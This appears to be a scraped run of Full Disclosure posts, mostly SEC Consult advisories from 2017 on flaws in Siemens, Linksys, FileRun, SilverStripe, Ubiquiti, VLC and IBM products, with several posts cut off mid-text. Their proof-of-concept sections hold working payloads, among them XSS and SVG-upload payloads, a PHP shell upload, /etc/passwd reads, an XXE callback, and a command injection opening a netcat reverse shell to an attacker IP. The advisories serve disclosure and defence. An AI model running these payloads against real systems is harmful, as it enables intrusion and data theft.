SEC Consult Vulnerability Lab Security Advisory < 20171114-0 > === title: Authentication bypass, cross-site scripting & code execution product: Siemens SICAM RTUs SM-2556 COM Modules (firmware variants ENOS00, ERAC00, ETA2, ETLS00, MODi00 and DNPi00 vulnerable version: FW 1549 Revision 07 fixed version: none, see Workaround section below CVE number: CVE-2017-12737 (authentication bypass) CVE-2017-12738 (XSS) CVE-2017-12739 (web server) impact: critical homepage: www.siemens.com found: 2017-08-17 by: SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "Siemens is a global powerhouse focusing on the areas of electrification, automation and digitalization. One of the world's largest producers of energy-efficient, resource-saving technologies, Siemens is a leading supplier of systems for power generation and transmission as well as medical diagnosis." Source: https://www.siemens.com/global/en/home/company/about.html Business recommendation: SEC Consult recommends not to use this device in production until a thorough security review has been performed by security professionals and all identified issues have been resolved. The device must not be accessible from untrusted networks. Vulnerability overview/description: --- 1) Authentication Bypass (client-side "authentication" enforcement) The web interface (TCP port 80) suffers from an authentication bypass vulnerability that allows unauthenticated attackers to access arbitray functionality and information (i.e. password lists) available through the webserver. 2) Reflected Cross-Site Scripting The web interface provides a "ping" functionality. This form is vulnerable to reflected cross-site-scripting because of missing input handling and output encoding. 3) Outdated Webserver (GoAhead) The used webserver version contains known weaknesses. Proof of concept: - 1) Authentication Bypass Use a browser which has JavaScript disabled ("Authentication" checks are performed client-side) and open legitimate URLs directly. Examples: http:///start.asp http:///pwliste.asp http:///goform/webforms_readmem?start_addr=0&length=100 2) Reflected Cross-Site Scripting All parameters in "webforms_ping" are vulnerable to reflected XSS: http:///goform/webforms_ping?ip_address=1.1.1.com%3Cscript%3Ealert(%27XSS%20proof-of-concept%27)%3C/script%3E1&length_data=32&count_pings=4&timeout=1 3) Outdated Webserver The used version of "GoAhead" webserver is 2.1.7 (released in Oct. 2003) This version has known vulnerabilities: http://aluigi.altervista.org/adv/goahead-adv3.txt https://web.archive.org/web/20080314153252/http:/data.goahead.com:80/Software/Webserver/2.1.8/release.htm#bug-with-urls-like-asp Vulnerable / tested versions: - SM-2556 COM Modules with the firmware variants ENOS00, ERAC00, ETA2, ETLS00, MODi00 and DNPi00 (FW 1549 Revision 07) Vendor contact timeline: 2017-09-25: Encrypted advisory sent to Siemens ProductCERT 2017-10-02: Requesting status update. 2017-10-09: Vendor states that the "affected device is out of service" and provides workaround (disable webserver). They are "still assessing the next steps". 2017-11-02: Requesting status update. 2017-11-06: Siemens ProductCERT will reach out to development team and keep us posted. 2017-11-08: Siemens ProductCERT prepares advisory. 2017-11-08: Asking about planned release date. 2017-11-13: Siemens ProductCERT provides planned release date (2017-11-14) 2017-11-14: Coordinated public release. Solution: - No firmware update is available as the device is no longer supported by the vendor. Workaround: --- According to the vendor the webserver can be disabled to mitigate all the vulnerabilities documented in this advisory. The webserver is optional and only used for commissioning and debugging purposes. The vendor published the following document for further information: https://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-164516.pdf Advisory URL: - https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~
[FD] SEC Consult SA-20171018-1 :: Multiple vulnerabilities in Linksys E-series products
SEC Consult Vulnerability Lab Security Advisory < 20171018-1 > === title: Multiple vulnerabilities product: Linksys E series, see "Vulnerable / tested versions" vulnerable version: see "Vulnerable / tested versions" fixed version: no public fix, see solution/timeline CVE number: - impact: high homepage: http://www.linksys.com/ found: 2017-06-26 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "Today, Belkin International has three brands – Belkin, Linksys and WeMo – to enhance the technology that connects us to the people, activities and experiences we love. Belkin products are renowned for their simplicity and ease of use, while our Linksys brand helped make wireless connectivity mainstream around the globe. Our newest brand, WeMo, is the leader in delivering customizable smart home experiences. Its product platform empowers people to monitor, measure and manage their electronics, appliances and lighting at home and on-the-go." Source: http://www.belkin.com/uk/aboutUs/ Business recommendation: SEC Consult recommends not to use this product in a production environment until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: --- 1) Denial of Service (DoS) A denial of service vulnerability is present in the web server of the device. This vulnerability is very simple to trigger since a single GET request to a cgi-script is sufficient. A crafted GET request, e.g. triggered by CSRF over a user in the internal network, can reboot the whole device or freeze the web interface and the DHCP service. This action does not require authentication. 2) HTTP Header Injection & Open Redirect Due to a flaw in the web service a header injection can be triggered without authentication. This kind of vulnerability can be used to perform different arbitrary actions. One example in this case is an open redirection to another web site. In the worst case a session ID of an authenticated user can be stolen this way because the session ID is embedded into the url which is another flaw of the web service. 3) Improper Session-Protection The session ID for administrative users can be fetched from the device from LAN without credentials because of insecure session handling. This vulnerability can only be exploited when an administrator was authenticated to the device before the attack and opened a session previously. The login works if the attacker has the same IP address as the PC of the legitimate administrator. Therefore, a CSRF attack is possible when the administrator is lured to surf on a malicious web site or to click on a malicious link. 4) Cross-Site Request Forgery Vulnerability in Admin Interface A cross-site request forgery vulnerability can be triggered in the administrative interface. This vulnerability can be exploited because the session ID can be hijacked by using 3) via LAN. An exploitation via internet is only possible if the session id is exposed to the internet (for example via the referrer). An attacker can change any configuration of the device by luring a user to click on a malicious link or surf to a malicious web-site. 5) Cross-Site Scripting Vulnerability in Admin Interface A cross-site scripting vulnerability can be triggered in the administrative interface. This vulnerability can be exploited because the session ID can be hijacked by using 3) via LAN. An exploitation via internet is only possible if the session id is exposed to the internet (for example via the referrer). By using this vulnerability, malicious code can be executed in the context of the browser session of the attacked user. Proof of concept: - 1) Denial of Service Unauthenticated request for triggering a router reboot in browser: http:///upgrade.cgi http:///restore.cgi Unauthenticated request for triggering a router freeze in browser: http:///mfgtst.cgi 2) HTTP Header Injection & Open Redirect A header injection can be triggered by the following unauthenticated request: Request: -- POST /UnsecuredEnable.cgi HTTP/1.1 Host: Accept: */* Accept-Language: en Connection: close Referer: http:///Unsecured.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 97
[FD] SEC Consult SA-20171018-0 :: Multiple vulnerabilities in Afian AB FileRun
SEC Consult Vulnerability Lab Security Advisory < 20171018-0 > === title: Multiple vulnerabilities product: Afian AB FileRun vulnerable version: 2017.03.18 fixed version: 2017.09.18 impact: critical homepage: https://www.filerun.com | https://afian.se found: 2017-08-28 by: Roman Ferdigg (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "FileRun File Manager: access your files anywhere through self-hosted secure cloud storage, file backup and sharing for your photos, videos, files and more. Upload and download large files for easy sharing. Google Drive self-hosted alternative." Source: https://www.filerun.com Business recommendation: By exploiting the vulnerabilities documented in this advisory, an attacker can compromise the web server which has FileRun installed. User files might get exposed through this attack. SEC Consult recommends not to use FileRun until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: --- 1) Path Manipulation When uploading, downloading or viewing files, FileRun uses a parameter to specify the path on the file-system. An attacker can manipulate the value of this parameter to read, create and even overwrite files in certain folders. An attacker could upload malicious files to compromise the webserver. In combination with the open redirect and CSRF vulnerability even an unauthenticated attacker can upload these files to get a shell. Through the shell all user files can be accessed. 2) Stored Cross Site Scripting (XSS) via File Upload The application allows users to upload different file types. It is also possible to upload HTML files or to create them via the application's text editor. Files can be shared using a link or within the FileRun application (in the enterprise version). An attacker can inject JavaScript in HTML files to attack other users or simply create a phishing site to steal user credentials. Remark: In the standard configuration of the FileRun docker image the HttpOnly cookie flag is not set, which means that authentication cookies can be accessed in an XSS attack. This allows easy session hijacking as well. 3) Cross Site Request Forgery (CSRF) The application does not implement CSRF protection. An attacker can exploit this vulnerability to execute arbitrary requests with the privileges of the victim. The only requirement is that a victim visits a malicious webpage. Such a page could be hosted on the FileRun server itself and shared with other users as described in vulnerability 2. Besides others, the following actions can be performed via CSRF if the victim has administrative privileges: - Create or delete users - Change permissions rights of users - Change user passwords If the victim has no administrative privileges, for example the following actions can be performed: - Upload files - Change the email address (for password recovery) 4) Open Redirect Vulnerabilities An open redirect vulnerability in the login and logout pages allows an attacker to redirect users to arbitrary web sites. The redirection host could be used for phishing attacks (e.g. to steal user credentials) or for running browser exploits to infect a victim's machine with malware. The open redirect in the login page could also be used to exploit CSRF (see above). Because the server name in the manipulated link is identical to the original site, phishing attempts may have a more trustworthy appearance. Proof of concept: - 1) Path Manipulation The URL below is used to read the application file "autoconfig.php", which contains the username and cleartext password of the database. URL: http://$DOMAIN/?module=custom_actions&action=open_in_browser&path=/var/www/html/system/data/autoconfig.php This post request is used to upload a PHP shell in the writable folder avatars: POST /?module=fileman_myfiles§ion=ajax&page=up HTTP/1.1 Host: $DOMAIN [...] Content-Type: multipart/form-data; boundary=---293712729522107 Cookie: FileRunSID=t5h7lm99r1ff0quhsajcudh7t0; language=english DNT: 1 Connection: close -293712729522107 Content-Disposition: form-data; name="flowTotalSize" 150 -293712729522107 Content-Disposition: form-data; name="fl
[FD] SEC Consult SA-20171017-0 :: Cross site scripting in Webtrekk Pixel tracking component
SEC Consult Vulnerability Lab Security Advisory < 20171017-0 > === title: Cross site scripting product: Webtrekk Pixel tracking vulnerable version: v3.24 to v3.40, v4.00 to v4.40, v5.00 to v5.04 fixed version: v3.41, v4.41, v5.05 impact: Medium homepage: https://www.webtrekk.com/ found: 2017-08-29 by: Malte Batram for SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "Webtrekk Analytics offers an endless range of filter and analysis functions. Whatever type of site you operate, our analytics tools give you the raw data you need to dive into your web and app metrics so you can optimise your digital marketing campaigns." Source: https://www.webtrekk.com/en/solutions/analytics/ "At home in Germany, Webtrekk ranks first among professional analytics tools used by the 1,000 most popular .de domains. All told, Webtrekk has a 22.9 percent market share among providers for the top German domains, excluding sites that use Google Analytics or have no analytics system." Source: https://www.webtrekk.com/en/why-webtrekk/market-leader/ Business recommendation: The vendor provides a patch which should be installed immediately. SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues. Vulnerability overview/description: --- 1) Cross site scripting vulnerability The Webtrekk Pixel component, used on many websites to track users, has the capability to load arbitrary external JavaScript via multiple parameter combinations. The parameters are parsed from the search-part of the URL. ?wt_overlay=1&wt_reporter=url_for_external_javascript ?wt_heatmap=1&wt_reporter=url_for_external_javascript The URL specified in the parameter wt_reporter is checked by a Regex that can be bypassed in different ways. Proof of concept: - 1) Cross site scripting vulnerability Example URL: http://www.example.com/?wt_overlay=1&wt_reporter=report1.webtrekk.com.evil.com/ The example URL leads to the inclusion of the following HTML in the page: https://report1.webtrekk.com.evil.com/overlay.pl</a>? wt_contentId=..."> Regex that checks the URL: /^(http[s]?:\/\/)?(report\d+|analytics)\.webtrekk\.(com|de).*$/ The .* at the end of the expression allows multiple bypasses: Subdomain: report1.webtrekk.com.evil.com/ Auth: report1.webtrekk@evil.com/ NoSlash:report1.webtrekk.com The last bypass leads to the inclusion of JavaScript from the domain overlay.pl, which at the time of testing was open to be registered, but has been registered by Webtrekk for security reasons now. The vulnerability can also be triggered via cookies. This enables an attacker to execute JavaScript in the session of the victim anytime the website with the vulnerable script is visited, after only using the parameters from the search once to set the cookie values. Cookie values: wt_overlay=1; wt_overlayFrame=report1.webtrekk.com.evil.com/; Vulnerable / tested versions: - Latest version v4.3.9 tested: https://support.webtrekk.com/hc/de/article_attachments/115005882469/Webtrekk_EN_Config_Pixel_v4.3.9.zip Also found to be vulnerable: 3.2.6, 4.0.5, 4.3.5 The setup for version 5 is different and the static part (tiLoader.min.js) does not include the vulnerable JavaScript directly. However code similiar to the overlay functions from version 3 and 4 seems to be loaded dynamically (which also includes the same Regex check). According to the vendor, v5 is affected as well. Vendor contact timeline: 2017-08-30: Contacting vendor through a...@webtrekk.com & email under "Contact", no answer 2017-09-12: Asking for contact again 2017-09-12: Vendor: requests sending the advisory and verifies it internally 2017-09-13: Vendor: optimized validation, fixed in internal version 2017-09-14: Release of patched version and vendor informs their customers 2017-10-17: Coordinated release of security advisory Solution: - Upgrade to the patched versions from the vendor immediately. The following versions contain better domain validation and fix the issue according to the vendor: v3.41, v4.41, v5.05 According to the vendor, the updated versions are available within the support center on the vendor's website for all customers and a
[FD] SEC Consult SA-20171016-0 :: Multiple vulnerabilities in Micro Focus VisiBroker C++
SEC Consult Vulnerability Lab Security Advisory < 20171016-0 > === title: Multiple vulnerabilities product: Micro Focus VisiBroker C++ vulnerable version: 8.5 SP2 fixed version: 8.5 SP4 HF3 CVE number: CVE-2017-9281, CVE-2017-9282, CVE-2017-9283 impact: High homepage: https://www.microfocus.com/products/corba/visibroker/ found: 2017-04 by: W. Ettlinger (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "VisiBroker(TM) is a comprehensive CORBA environment for developing, deploying, and managing distributed applications. Built on open industry standards and a high-performance architecture, VisiBroker is especially suited to low-latency, complex, data-oriented, transaction-intensive, mission-critical environments. Using VisiBroker(R), organizations can develop, connect, and deploy complex distributed applications that have to meet very high performance and reliability standards. With more than 30 million licenses in use, VisiBroker is the world’s most widely deployed CORBA Object Request Broker (ORB) infrastructure." URL: https://www.microfocus.com/products/corba/visibroker/ Business recommendation: During a superficial fuzzing test, SEC Consult found several memory corruption vulnerabilities that allow denial of service attacks or potentially arbitrary code execution. Although the fuzzing test only had a very limited coverage, several vulnerabilities have been identified. Assuming the code quality is homogenous, it is possible that other parts of the application exhibit similar issues. SEC Consult did not attempt to fully evaluate the potential impact of the identified vulnerabilities. SEC Consult recommends to decommission any VisiBroker C++ component that communicates with untrusted entities until a full security audit has been performed. Moreover, SEC Consult recommends to restrict network access to all CORBA services that utilize the VisiBroker C++ environment. Vulnerability overview/description: --- 1) Integer Overflow / Out of Bounds Read (Denial of Service) [CVE-2017-9281] By specifying a large value for a length field, an integer overflow occurs. As a result, the application reads memory until a non-mapped memory region is reached. This causes the application to encounter a segmentation fault. 2) Integer Overflow (Heap Overwrite) [CVE-2017-9282] By specifying a manipulated value for a length field an attacker can cause an integer overflow. This causes the application to allocate too little memory. When the application attempts to write to this memory buffer, heap memory is overwritten leading to denial of service or potentially arbitrary code execution. 3) Out of Bounds Read [CVE-2017-9283] By specifying a manipulated value for a length field, an attacker can cause the application to read past an allocated memory region. 4) Use after Free SEC Consult found that the application under certain circumstances tries to access a memory region that has been deallocated before. It is unclear whether Micro Focus fixed the root cause of this behaviour. As the vendor was unable to reproduce the vulnerability in the current version, Micro Focus believes that the vulnerability was fixed with a previous update. Since SEC Consult is unsure whether Micro Focus found the root cause of the vulnerability, we refrain from releasing proof of concept code. Proof of concept: - A service implementing the following IDL was used to identify the vulnerabilities listed here: module Bank { interface Account { float balance(in string test); }; interface AccountManager { Account open(in string name); }; }; The implemented service was based on the Visibroker example project "bank_agent". 1) Integer Overflow / Out of Bounds Read (Denial of Service) The method CORBA_MarshalOutBuffer *__cdecl CORBA_MarshalOutBuffer::put( CORBA_MarshalOutBuffer *this, const char *src, unsigned int size) is used to copy/append a char[] into a buffer. If the size of the data that is stored in the buffer plus the size of the char[] to be appended exceeds the allocated size, the method reallocates the buffer. By choosing the size of the char[] as e.g. 0x (on 32 bit systems) an integer overflow can be caused. The method then continues without allocating additional memory. However, the application then expects that the source buffer contains 0x bytes o
[FD] Internet Security Conference 2017 in China by 360 Qihoo
Internet Security Conference China (Asia) - 360 Qihoo Event Url: http://isc.360.cn/2017/en/index.html --- Speaker: Benjamin Kunz Mejri Keynote: People is the key factor of online security Possibilities of Individuals & IT-Security - Security Researcher & Bounty Hunter “No System is Safe!” --- Speaker: Patrick Paumen Keynote: Bio Hackers --- References: http://www.cctvplus.com/news/20170913/8060916.shtml#!language=1 http://science.china.com.cn/2017-09/14/content_40013916.htm http://www.cfbond.com/zt/2017hlwdh/ https://news.cgtn.com/news/344e34557a6333566d54/share_p.html http://www.chinanews.com/business/2017/09-12/8329096.shtml http://www.yicai.com/image/5344069.html http://www.csdn.net/article/a/2017-09-14/15932211 https://mp.weixin.qq.com/s/KVHGaQ54v6YkppN10l32sg ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SEC Consult SA-20170914-1 :: Persistent Cross-Site Scripting in SilverStripe CMS
SEC Consult Vulnerability Lab Security Advisory < 20170914-1 > === title: Persistent Cross-Site Scripting product: SilverStripe CMS vulnerable version: <=3.5.3 fixed version: 3.6.1 impact: Medium homepage: https://www.silverstripe.org/ found: 2017-03-15 by: S. Tripathy (Office Singapore) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "SilverStripe is the intuitive content management system and flexible framework loved by editors and developers alike. Equip your web teams to achieve outstanding results." Source: https://www.silverstripe.org/ Business recommendation: SEC Consult recommends to do a proper output sanitization on uploaded SVG files. Users should upgrade to version 3.6.1 or higher. A thorough source code analysis is recommended. Vulnerability overview/description: --- 1) Persistant Cross Site Scripting Due to the lack of input validation and output sanitization, an attacker can upload SVG files containing malicious JavaScript code to be executed under a victim's browser context. Proof of concept: - 1) Persistant Cross Site Scripting Example: XSS using SVG File Upload The file upload function in the CMS allows to upload SVG files. But it doesn't sanitize output of the file which leads to XSS. There are 2 vulnerable instances of the same vulnerability. 1: The "Insert Media" option in the content editor. 2: The path "/admin/assets/add/" During editing contents or creating a new page an attacker can upload an SVG image using the "Insert Image" button. The request below shows that an attacker can upload an SVG file with malicious payloads. == POST /admin/pages/edit/EditorToolbar/MediaForm/field/AssetUploadField/upload HTTP/1.1 Host: $host ---snip--- Cookie: PHPSESSID=esqs7da6338k0sgj7itn3tcil7; bypassStaticCache=1 Connection: close -969190451574 Content-Disposition: form-data; name="SecurityID" undefined -969190451574 Content-Disposition: form-data; name="AssetUploadField"; filename="evilsvgfile.svg" Content-Type: image/svg+xml http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";> http://www.w3.org/2000/svg";> alert('XSS!'); -969190451574-- == Using the same process an attacker can also upload a malicious SVG file in the path "/admin/assets/add/". A low privilege editor user such as a "Content Editor" can also exploit this vulnerability. Vulnerable / tested versions: - The following version is affected by the identified vulnerabilities which was the most recent version at the time of discovery: Silverstripe CMS version <=3.5.3 Vendor contact timeline: 2017-03-22: Contacting vendor through secur...@silverstripe.org 2017-03-23: Vendor provided public key certificates 2017-03-23: Sent the advisory to vendor 2017-04-17: Follow-up with vendor on the status 2017-04-17: Vendor responded work in progress 2017-05-09: Follow-up with vendor on the status, no response from the vendor 2017-05-24: Informed the vendor on releasing the advisory 2017-05-31: Vendor: vulnerability has been fixed, verified that it is not 2017-06-07: Vendor confirmed that the issue is not fixed and it will be fixed in the next release. 2017-06-27: Silverstripe Version 3.6.1 released 2017-09-14: Public release of advisory Solution: - Upgrade to SilverStripe v3.6.1 https://www.silverstripe.org/download/ Changelog: https://docs.silverstripe.org/en/3/changelogs/3.6.1 Workaround: --- Do not allow uploading an SVG file. Advisory URL: - https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the fi
[FD] SEC Consult SA-20170914-0 :: Authenticated Command Injection in Ubiquiti Networks UniFi Cloud Key
SEC Consult Vulnerability Lab Security Advisory < 20170914-0 > === title: Authenticated Command Injection product: Ubiquiti Networks UniFi Cloud Key vulnerable version: Firmware version <=0.6.4 fixed version: Firmware version >=0.6.9 CVE number: - impact: High homepage: https://www.ubnt.com found: 2017-03-26 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "Ubiquiti Networks develops high-performance networking technology for service providers and enterprises. Our technology platforms focus on delivering highly advanced and easily deployable solutions that appeal to a global customer base in underserved and underpenetrated markets." Source: http://ir.ubnt.com/ Business recommendation: The patch supplied by the vendor should be installed immediately. There are indications for further security issues within this device, hence SEC Consult recommends performing a detailed review by security professionals. Vulnerability overview/description: --- 1) Authenticated Command Injection in Administrative Interface A change of the username with a hand crafted request leads to command injection in the administrative interface. This vulnerability can be exploited when the cloud key web interface is exposed to the internet. An attacker which can access the administrative web interface of the cloud key after cracking a cloud account password is able to execute arbitrary commands without access to the local network. Since the Ubiquiti switches also use the same credentials, the whole network can be compromised over this attack vector. Proof of concept: - 1) Authenticated Command Injection in Administrative Interface The following PHP code excerpt is responsible for the username command execution: (api.inc, line 455) --- [...] function chusername($username) { exec(CMD_CHUSERNAME . ' ' . $username, $out, $rc); return $rc; } [...] --- Since '$username' is not filtered, a command injection is possible. The following POST request opens a reverse-shell to the attacker: --- POST /api/account HTTP/1.1 Host: $host User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded X-Access-Token: Referer: https://$host/manage/maintenance Content-Length: 57 Cookie: CKSESSIONID= Connection: close {"username":";busybox nc $attackerIP 8999 -e /bin/bash;"} --- As listener, netcat was used: $ nc -lvp Vulnerable / tested versions: - Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version was the latest at the time the security vulnerabilities were discovered. Version 0.6.4 has been checked and found to be vulnerable as well. Vendor contact timeline: 2017-03-29: Contacting vendor via HackerOne. Vendor sets status to "Triaged". 2017-04-24: Asking for a status update; No answer. 2017-05-06: Found update 0.6.4 on the website of the vendor, firmware is still vulnerable. 2017-05-15: Contacted vendor via e-mail and asked for status. 2017-06-01: Vendor sent a link to the fixed version 0.6.9. 2017-06-07: Verified the fix in this version. Vendor marked the issue as resolved. 2017-09-13: Public release of security advisory Solution: - Upgrade to v0.6.9 or above. https://community.ubnt.com/t5/UniFi-Updates-Blog/UniFi-Cloud-Key-firmware-0-6-9-has-been-released/ba-p/1974091 Workaround: --- None Advisory URL: - https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowle
[FD] SEC Consult SA-20170913-1 :: Local File Disclosure in VLC media player iOS app
SEC Consult Vulnerability Lab Security Advisory < 20170913-1 > === title: Local File Disclosure product: VLC media player iOS app vulnerable version: 2.7.8 fixed version: 2.8.1 CVE number: - impact: Medium homepage: https://itunes.apple.com/us/app/vlc-for-mobile/id650377962?mt=8 found: 2017-08-22 by: Ahmad Ramadhan Amizudin (Office Malaysia) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "VLC is a free and open source cross-platform multimedia player and framework that plays most multimedia files as well as DVDs, Audio CDs, VCDs, and various streaming protocols." Source: https://itunes.apple.com/us/app/vlc-for-mobile/id650377962?mt=8 Business recommendation: The identified vulnerability allows attackers to steal arbitrary files (accessible by the app) from the mobile device. SEC Consult recommends not to enable "Sharing over WiFi" feature in VLC for iOS which allows wireless file transfer to/from PC until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: --- 1) Local file disclosure The 'Sharing over WiFi' feature in VLC for iOS is vulnerable to a local file disclosure vulnerability. An attacker can read any files which can be accessed with current application privileges. This issue can lead to data theft. Proof of concept: - 1) Local file disclosure The example below shows how the LFD vulnerability can be exploited. URL : http://$IP:$PORT/download/ METHOD : GET EXAMPLE : http://$IP:$PORT/download//etc/passwd The source code excerpt below shows the vulnerable code of the mobile app: VULN. FILE : Sources/VLCHTTPConnection.m VULN. CODE : [...] - (NSObject *)_httpGETDownloadForPath:(NSString *)path { NSString *filePath = [[path stringByReplacingOccurrencesOfString:@"/download/" withString:@""]stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding]; HTTPFileResponse *fileResponse = [[HTTPFileResponse alloc] initWithFilePath:filePath forConnection:self]; fileResponse.contentType = @"application/octet-stream"; return fileResponse; } [...] Vulnerable / tested versions: - VLC version 2.7.8 has been tested on iOS 10.3.3 and found to be vulnerable. Vendor contact timeline: 2017-08-23: Contacting vendor through email 2017-08-23: Vendor replied, they are looking at it 2017-09-05: Asked for a status update from the vendor 2017-09-09: Vendor released patch in version 2.8.1 2017-09-13: Public release of advisory Solution: - Upgrade to the latest version available: https://itunes.apple.com/us/app/vlc-for-mobile/id650377962?mt=8 Workaround: --- Disable the 'Sharing over WiFi' feature. Advisory URL: - https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Ahmad Ramadhan / @2017 smime.p7s Description: S/MIME Cryptographic Signature __
[FD] SEC Consult SA-20170913-0 :: Multiple Vulnerabilities in IBM Infosphere Information Server / Datastage
SEC Consult Vulnerability Lab Security Advisory < 20170913-0 > === title: Multiple Vulnerabilities product: IBM Infosphere Information Server / Datastage vulnerable version: 9.1, 11.3, and 11.5 (including Cloud version 11.5) fixed version: - CVE number: CVE-2017-1495, CVE-2017-1468, CVE-2017-1383, CVE-2017-1467 impact: Critical homepage: http://www-03.ibm.com/software/products/en/ibminfodata found: 2017-03-16 by: Goh Zhi Hao, Mohammad Shah Bin Mohammad Esa, Samandeep Singh (Office Singapore) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com === Vendor description: --- "IBM® InfoSphere® DataStage® integrates data across multiple systems using a high performance parallel framework, and it supports extended metadata management and enterprise connectivity. The scalable platform provides more flexible integration of all types of data, including big data at rest (Hadoop-based) or in motion (stream-based), on distributed and mainframe platforms." Source: http://www-03.ibm.com/software/products/en/ibminfodata Business recommendation: Attackers are able to bypass authorization controls to execute system commands. The vendor did not provide a patch but mitigation steps which have to be implemented. SEC Consult recommends the vendor to conduct a comprehensive security analysis, based on security source code reviews, in order to identify all vulnerabilities in the Remote Management platform and increase the security for its customers. Vulnerability overview/description: --- 1) Weak Authorization (CVE-2017-1467) The Administrator Client allows users with high priviledges to execute commands. A low privileged application user can replay the same request and execute arbitrary commands on the server. This happens because the application links to a single linux user in the backend server. The application privileges are based on this system user irrespective of the user role of the application user. Hence, any command can be executed by a low privileged application user in the backend OS, depending on the privileges of the linux user the application is using. 2) XML eXternal Entity (XXE) Injection (CVE-2017-1383) The Designer client allows users to import files in XML format. By tricking the user to import an XML file with malicious XML code to the application, it's possible to exploit an XXE vulnerability within the application. 3) DLL Preloading Dynamic Link Library (DLL) files are loaded from the application's home directory without being verified. This may lead to execution of arbitrary files on the system as any users can replace the DLLs. 4) Loading Arbitrary Executables (CVE-2017-1468) The Director and Designer Client do not check for any file signatures before loading and executing other executable files. Existing files can be replaced by any user with executable files, which will be executed from the toolbar. 5) Cleartext Passwords in Memory Dump (CVE-2017-1495) User credentials are stored in clear text within the memory which can be dumped to retrieve these credentials. Proof of concept: - 1) Weak Authorization (CVE-2017-1467) Any command can be injected back to the Administrator Client to execute system commands. Example: == SH -c "cat /etc/passwd" == 2) XML External Entity Injection (XXE) (CVE-2017-1383) For example by importing the following XML code, arbitrary files can be read from the client's system. The following code generates the connection request from the client system to attacker system. === http://[IP:port]/"; >]>&xxe; === IP:port = IP address and port where the attacker is listening for connections Furthermore some files can be exfiltrated to remote servers via the techniques described in: https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf 3) DLL Preloading Removed proof of concept. 4) Loading Arbitrary Executables (CVE-2017-1468) The following executables can be re
